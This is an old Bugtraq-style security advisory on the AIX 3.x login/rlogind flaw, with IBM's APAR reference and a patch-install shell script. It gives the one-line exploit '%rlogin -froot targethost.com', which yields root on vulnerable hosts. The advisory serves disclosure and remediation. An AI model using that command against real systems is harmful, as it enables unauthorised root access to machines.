AIX login(1) Vulnerability

Bugtraq ID:	458
Class:	Unknown
CVE:
Remote:	Yes
Local:	No
Published:	Dec 04 1996 12:00AM
Updated:	Dec 04 1996 12:00AM
Credit:	This bug was initially posted to a Linux Usenet Admin group on Sat, 21 May 1994. It was forwarded to the Bugtraq mailing list by [email protected] on the same day. A signifigant amount of e-mail traffic ensued. Much of this information was culled from
Vulnerable:	IBM AIX 3.2.5 IBM AIX 3.2.4 IBM AIX 3.2 IBM AIX 3.1
Not Vulnerable:	IBM AIX 4.3.2 IBM AIX 4.3 IBM AIX 4.2.1 IBM AIX 4.2 IBM AIX 4.1.5 IBM AIX 4.1.4 IBM AIX 4.1.3 IBM AIX 4.1.2 IBM AIX 4.1.1 IBM AIX 4.1

AIX login(1) Vulnerability

A problem with the way login parses arguments as passed by rlogind that may allow access to the root account.

AIX login(1) Vulnerability

%rlogin -froot targethost.com

AIX login(1) Vulnerability

Solution:
IBM has made the following APAR available to address this problem:

AIX 3.X
---------
APAR # IX44254

Furthermore, this install script for the patch was posted to the Bugtraq mailing list by H Morrow Long <[email protected]> Mon, 23 May 1994.

#!/bin/sh
#
# H. Morrow Long, Yale CSCF
#
# Version "tsm-3.2.0".
AIX_VERSION="tsm-3.2.0"
#
# Patch path directory /cs/local/src/AIX/rlogin/
AIX_PATCH_DIR="/cs/local/src/AIX/rlogin"

AIX_TSM_PATCH="$AIX_PATCH_DIR/$AIX_VERSION"

# Root should NOT be allowed to rlogin as user ROOT anyway! DISABLE root rlogin
#
chuser rlogin='false' root
#
#
# 1. As root, edit /etc/inetd.conf
# Comment out the line 'login ... rlogin'

sed 's/^login/# login/' /etc/inetd.conf > /tmp/inetd.conf.NEW
cp -p /etc/inetd.conf /etc/inetd.conf.BACKUP
cp /tmp/inetd.conf.NEW /etc/inetd.conf

# 2. Run 'inetimp'
inetimp
# 3. Run 'refresh -s inetd'
refresh -s inetd
#
#
#
# APAR IX44254 -- rlogin security hole
#
# This document describes how to apply the emergency patch for APAR
# IX44254. This emergency patch is not the permanent solution to this
# problem, it merely provides a means to restore rlogin functionality
# in a more secure manner.
#
# Begin by identifying the correct level for your system. The command
# "oslevel" may be used for this purpose on AIX v3.2 systems. For AIX
# v3.1 systems you must know the last maintenance level which was
# applied.
#
# If the "oslevel" command returns "oslevel: not found" or a similar
# message from the shell, you must use "tsm-3.2.0".
#
# If the "oslevel" command returns "<3240" or "<>3240", you must use
# "tsm-3.2.0".
#
# If the "oslevel" command returns "=3240", ">3240", "<3250" or "<>3250",
# you must use "tsm-3.2.4".
#
# If the "oslevel" command returns "=3250" or ">3250", you must use
# "tsm-3.2.5".
#
#
# Once you have determined the correct version, execute the following
# steps.
#
# 1). "cd /usr/sbin"
cd /usr/sbin
# 2). If the file "tsm.ix44254" does not exist, execute "mv tsm tsm.ix44254"
mv tsm tsm.ix44254
# 3). "cp <version> tsm" where "<version>" was figured out above.
# "tsm-3.2.0".

# cp /cs/local/src/AIX/rlogin/tsm-3.2.0 ./tsm
cp "${AIX_TSM_PATCH}" ./tsm

# 3). "rm -f login getty"
rm -f login getty
# 4). "chown root.security tsm"
chown root.security tsm
# 5). "chmod 4554 tsm"
chmod 4554 tsm
# 6). "ln tsm login"
ln tsm login
# 7). "ln tsm getty"
ln tsm getty
# 8). "chmod a-x tsm.ix44254"
chmod a-x tsm.ix44254
#

cp -p /etc/inetd.conf.BACKUP /etc/inetd.conf

# 2. Run 'inetimp'
inetimp
# 3. Run 'refresh -s inetd'
refresh -s inetd
#

#
# You may verify that the new login command is working correctly with the
# command
#
# rlogin localhost
rlogin localhost

AIX login(1) Vulnerability

References:

• AIX Fix Distribution Service (IBM)
  
• IBM Support Databases (IBM)